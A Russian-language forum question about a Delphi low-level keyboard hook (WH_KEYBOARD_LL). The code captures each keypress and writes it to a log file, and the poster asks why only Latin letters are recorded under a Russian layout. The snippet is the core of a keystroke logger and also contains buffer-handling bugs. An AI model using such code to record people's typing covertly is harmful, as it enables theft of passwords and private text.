Вопросик по хуку WH_KEYBOARD_LL, как узнать какая была нажата клавиша в зависимости от раскладки клавиатуры? У меня в коде показываются только английские буквы, хоть даже если ввод происходит русскими..
| Код | type PKbdDllHookStrukt = ^TKbdDllHookStrukt; TKbdDllHookStrukt = record vkCode: DWORD; scanCode: DWORD; flags: DWORD; time: DWORD; dwExtraInfo: PDWORD; end;
var KeyHook: HHook = INVALID_HANDLE_VALUE;
function KeyHookProc(nCode: Integer; WParam: Word; LParam: LongInt): LongInt; stdcall; var KeyState: TKeyboardState; KeyName: PChar; begin if (nCode = HC_ACTION) and (WParam = WM_KEYDOWN) then begin GetKeyboardState(KeyState); New(KeyName); ToAsciiEx(PKbdDllHookStrukt(LParam)^.vkCode, 0, KeyState, KeyName, 0, GetKeyboardLayout(0));
Write(LogFile, KeyName^); Flush(LogFile);
Dispose(KeyName); KeyName := nil; Result := 0; end else Result := CallNextHookEx(KeyHook, nCode, WParam, LParam); end;
|
|